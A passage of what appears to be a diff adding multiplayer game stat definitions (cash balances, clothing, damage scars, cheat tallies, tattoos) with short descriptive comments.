done + + +(int)MPPLY_AWD_TEMPAWARD // Temp Stats +(float)MPPLY_AWD_TEMPAWARDFLOAT // Temp Stats +(bool)MPPLY_AWD_TEMPAWARDBOOL // Temp Stats +(date)MPPLY_AWD_TEMPAWARDDATE // Temp Stats + +(int)MPGEN_AWD_TEMPAWARDINT // Temp Stats +(float)MPGEN_AWD_TEMPAWARDFLOAT // Temp Stats +(bool)MPGEN_AWD_TEMPAWARDBOOL // Temp Stats +(date)MPGEN_AWD_TEMPAWARDDATE // Temp Stats + +(int)MPPLY_TEMPSTATINT // Time mp char 4 weapon in inventory(S) +(float)MPPLY_TEMPSTATFLOAT // Time mp char 4 weapon in inventory(S) +(bool)MPPLY_TEMPSTATBOOL // Time mp char 4 weapon in inventory(S) +(label)MPPLY_TEMPSTATLABEL // Time mp char 4 weapon in inventory(S) +(string)MPPLY_TEMPSTATSTRING // Time mp char 4 weapon in inventory(S) +(pos)MPPLY_TEMPSTATVEC // Time mp char 4 weapon in inventory(S) +(date)MPPLY_TEMPSTATDATE // Time mp char 4 weapon in inventory(S) + +(int)MPGEN_TEMPSTATINT // Time mp char 4 weapon in inventory(S) +(float)MPGEN_TEMPSTATFLOAT // Time mp char 4 weapon in inventory(S) +(bool)MPGEN_TEMPSTATBOOL // Time mp char 4 weapon in inventory(S) +(label)MPGEN_TEMPSTATLABEL // Time mp char 4 weapon in inventory(S) +(string)MPGEN_TEMPSTATSTRING // Time mp char 4 weapon in inventory(S) +(pos)MPGEN_TEMPSTATVEC // Time mp char 4 weapon in inventory(S) +(date)MPGEN_TEMPSTATDATE // Time mp char 4 weapon in inventory(S) +(pos)TEMPSTATVEC // Add MP0_ or MP1_ // Time mp char 4 weapon in inventory(S) + +(u32)PLAYER_MUTED_TALKERS_MET // Nmber of voice talkers met in game sessions +(u32)PLAYER_MUTED // Number of times player has been muted + + + + +(packed)PSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)PSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers + +(packed)MP_TUPSTAT_INT0 // Stat with Packed integers index 0. Takes up to 8 integers. +(packed)MP_TUPSTAT_INT1 // Stat with Packed integers index 1. Takes up to 8 integers +(packed)MP_TUPSTAT_INT2 // Stat with Packed integers index 2. Takes up to 8 integers +(packed)MP_TUPSTAT_INT3 // Stat with Packed integers index 2. Takes up to 8 integers +(packed)TUPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)TUPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)TUPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)TUPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)MP_TUPSTAT_BOOL0 // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + + +(packed)MP_NGPSTAT_INT0 // Stat with Packed integers index 0. Takes up to 8 integers. +(packed)NGPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers + + +(packed)MP_NGPSTAT_BOOL0 // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 1. Takes up to 64 booleans. + + + + + + + +(int)CONTACT_MISS_HASH_0 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_1 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_2 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_3 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_4 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_5 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_6 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_7 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_8 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_9 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_10 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_11 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_12 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_13 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_14 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_15 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_16 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_17 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_18 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_19 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_20 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_21 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_22 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_23 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_24 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_25 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_26 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_27 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_28 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_29 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_30 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_31 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_32 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_33 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_34 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_35 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_36 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_37 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_38 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_39 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_40 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_41 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_42 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_43 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_44 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_45 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_46 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_47 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_48 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash +(int)CONTACT_MISS_HASH_49 // Add MP0_ or MP1_ // Keith - CM Played - COntentID Hash + +(bool)MPPLY_PLAYER_BANK_INITIALISED // Number of times player has been muted + + +(int)DAMAGE_SCAR_ZONE_16 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_16 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_16 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_16 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_16 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_16 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_16 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_17 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_17 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_17 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_17 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_17 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_17 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_17 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_18 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_18 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_18 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_18 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_18 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_18 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_18 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_19 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_19 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_19 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_19 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_19 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_19 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_19 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_20 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_20 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_20 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_20 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_20 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_20 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_20 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_21 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_21 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_21 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_21 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_21 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_21 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_21 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_22 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_22 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_22 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_22 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_22 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_22 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_22 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_23 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_23 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_23 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_23 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_23 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_23 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_23 // Add MP0_ or MP1_ // Damage Scar Data - Age + + +(int)CLTHS_AVAILABLE_TORSO // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_SPECIAL2_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_DECL // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_TEETH // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_TEETH_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_TEETH_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_ACQUIRED_TORSO // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_SPECIAL2_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_DECL // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_TEETH // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_TEETH_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_TEETH_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired + +(int)CLTHS_USED_TORSO // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_SPECIAL2_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_DECL // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_TEETH // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_TEETH_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_TEETH_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used + +(bool)MPPLY_NO_MORE_TUTORIALS // Number of times cheated + +(s64)TOTAL_EVC // Add MP0_ or MP1_ // Total Cash Earned over time. +(s64)MPPLY_TOTAL_EVC // Total Cash Earned over time. +(s64)MPPLY_TOTAL_SVC // Total Cash Spent over time. +(long)WALLET_BALANCE // Add MP0_ or MP1_ // Per-Character wallet Cash. +(long)BANK_BALANCE // Banked Cash. +(s64)PVC_BALANCE_MAX // The difference to the max PVC balance. +(float)PVC_USD_PURCH_MAX // Cant spend more than this in $ today. +(float)PVC_TRANSFER_MAX // Cant GIVE more than this much PVC today. +(bool)PVC_CAN_BET // A bool indicating if you can bet pvc. +(double)PVC_USDE // US dollar value of the players PVC. - USDE_DAILY_ADDITIONS +(float)PERSONAL_EXCHANGE_RATE // Personal Exchange Rate for that player (PXR) +(s64)EVC_BALANCE_CLEARED // Total last Cleared amount for stat EVC_BALANCE. + +(x64)VC_DAILY_TIMESTAMP // Virtual cash daily posix time - Control daily amount resets. +(long)PVC_DAILY_ADDITIONS // Amount of PVC added (through purchase or PVC gift receipt) by a player in 1 day. +(long)PVC_DAILY_TRANSFERS // Amount of PVC transferred out by a player to other players in 1 day. + +(int)PARACHUTE_CURRENT_SMOKE // Add MP0_ or MP1_ // Is weapon in inventory + +(int)SING_IN_SHOWER // Add MP0_ or MP1_ // MP Char 0 - weapon unlock bitset 2 + +(date)REW_WEEKLY_BANK_AWARD // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + +(int)MAINTAIN_XP_WITH_LEADB // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 + +(int)MPPLY_DM_CHEAT_TALLY // Number of times cheated +(int)MPPLY_RACE_CHEAT_TALLY // Number of times cheated +(int)MPPLY_MC_CHEAT_TALLY // Number of times cheated +(int)MPPLY_MGAME_CHEAT_TALLY // Number of times cheated + + +(int)MPPLY_BOOKMARKED_CONTENT // Number of times cheated + +(u32)NUM_CHECKS_DONE // Number of sessions with some check done +(u32)NUM_CHECKS_MISM_CURR // Number of times mismatched per session +(float)NUM_CHECKS_MISM_PERC // Percentage of fails + +(int)PERSONAL_VEHICLE_ACCESS // Add MP0_ or MP1_ // Number of turbo starts at start of race +(int)FM_CHAT_OPTION // Add MP0_ or MP1_ // Number of turbo starts at start of race + +(u32)NUM_CHECKS_ISSUED_CURR // Number of checks issued in this time window +(u32)NUM_CHECKS_ISSUED // Number of checks issued in previous time window +(u32)NUM_CHECKS_RCVD_CURR // Number of checks received in this time window +(u32)NUM_CHECKS_RCVD // Number of checks received in previous time window + +(float)MPPLY_DROPOUTRATE // CHEAT TRACKING No of death matchs ended + +(int)CHAR_CARMODWHEELS_VIEWED_0 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 0 +(int)CHAR_CARMODWHEELS_VIEWED_1 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 1 +(int)CHAR_CARMODWHEELS_VIEWED_2 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 2 +(int)CHAR_CARMODWHEELS_VIEWED_3 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 3 +(int)CHAR_CARMODWHEELS_VIEWED_4 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 4 +(int)CHAR_CARMODWHEELS_VIEWED_5 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 5 +(int)CHAR_CARMODWHEELS_VIEWED_6 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 6 +(int)CHAR_CARMODWHEELS_VIEWED_7 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 7 + +(long)VC_DAILY_TRANSFERS // Amount of VC (non-typed) transferred out by a player to other players in 1 day. +(long)CLIENT_PVC_BALANCE // CLIENT version of Banked Cash that the player has PAID for with real money. +(long)CLIENT_EVC_BALANCE // CLIENT version of Banked Cash that the player has EARN, either in game or via other mechanism. +(double)CLIENT_PERSONAL_EXCHANGE_RATE // CLIENT VERSION OF Personal Exchange Rate for that player (PXR) + +(int)MPPLY_CREW_CHALLENGE_ATTEMPTS // MPPLAYER - Total number of challenges attempted + +(int)MONEY_SPENT_ROCKSTAR_AWARD // Add MP0_ or MP1_ // Money Spent in weapons and armor +(int)MONEY_EARN_BANK_INTEREST // Add MP0_ or MP1_ // Money Earn for bank interest + +(s64)MONEY_EARN_DAILY_OBJECTIVE // Add MP0_ or MP1_ // Money Earn for bank interest + +(int)CHAR_CARMODWHCOL_VIEWED_0 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Color Viewed Bitset 0 +(int)CHAR_CARMODWHCOL_VIEWED_1 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Color Viewed Bitset 1 + +(int)GRNLAUNCH_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)MPPLY_TOTALPLAYTIME_GOODBOY // Number of times cheated + +(int)FM_NON_MS_HELP_TEXT6 // Add MP0_ or MP1_ // Tracks if NMH has been displayed + +(int)CHAR_CARPAINTPRIME_VIEW_0 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 0 +(int)CHAR_CARPAINTPRIME_VIEW_1 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 1 +(int)CHAR_CARPAINTPRIME_VIEW_2 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 2 +(int)CHAR_CARPAINTPRIME_VIEW_3 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 3 +(int)CHAR_CARPAINTPRIME_VIEW_4 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 4 +(int)CHAR_CARPAINTPRIME_VIEW_5 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 5 +(int)CHAR_CARPAINTPRIME_VIEW_6 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 6 +(int)CHAR_CARPAINTPRIME_VIEW_7 // Add MP0_ or MP1_ // MP Char 0 - Primary Car Paints Viewed Bitset 7 + +(int)CHAR_CARPAINTSEC_VIEW_0 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 0 +(int)CHAR_CARPAINTSEC_VIEW_1 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 1 +(int)CHAR_CARPAINTSEC_VIEW_2 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 2 +(int)CHAR_CARPAINTSEC_VIEW_3 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 3 +(int)CHAR_CARPAINTSEC_VIEW_4 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 4 +(int)CHAR_CARPAINTSEC_VIEW_5 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 5 +(int)CHAR_CARPAINTSEC_VIEW_6 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 6 +(int)CHAR_CARPAINTSEC_VIEW_7 // Add MP0_ or MP1_ // MP Char 0 - Secondary Car Paints Viewed Bitset 7 + +(u64)LEADERBOARD_PLAYING_TIME // Total Playing time in multiplayer. + +(u64)TOTAL_TIME_UNDERWATER // Add MP0_ or MP1_ // Total time underwater. + +(s64)SERVER_LAST_UPDATE // Time we last updated server cash values. +(s64)CLIENT_LAST_UPDATE // Time we last saved client cash values. +(s64)PROFILE_STATS_LAST_FLUSH // Time we last saved client cash values. + + +(int)PROPERTY_HOUSE_NEW // Add MP0_ or MP1_ // Stores what house player has purchased +(int)PROPERTY_HOUSE_NEW_TIME // Add MP0_ or MP1_ // Stores time a house player has purchased +(int)PROPERTY_HOUSE_NEW_VALUE // Add MP0_ or MP1_ // Stores value of a house player has purchased +(int)PROPERTY_HOUSE_TIME // Add MP0_ or MP1_ // Stores time a house player has purchased + +(int)TATTOO_FM_CURRENT_6 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_CURRENT_7 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_CURRENT_8 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_CURRENT_9 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_VIEWED_5 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 4 +(int)TATTOO_FM_VIEWED_6 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 4 +(int)TATTOO_FM_VIEWED_7 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 4 +(int)TATTOO_FM_VIEWED_8 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 4 + +(int)CREW_EMBLEMS_PURCHASED // Add MP0_ or MP1_ // MP Char 0 - Viewed Purchased + + +(int)TIMER_LAST_SOLD_VEHICLE // Add 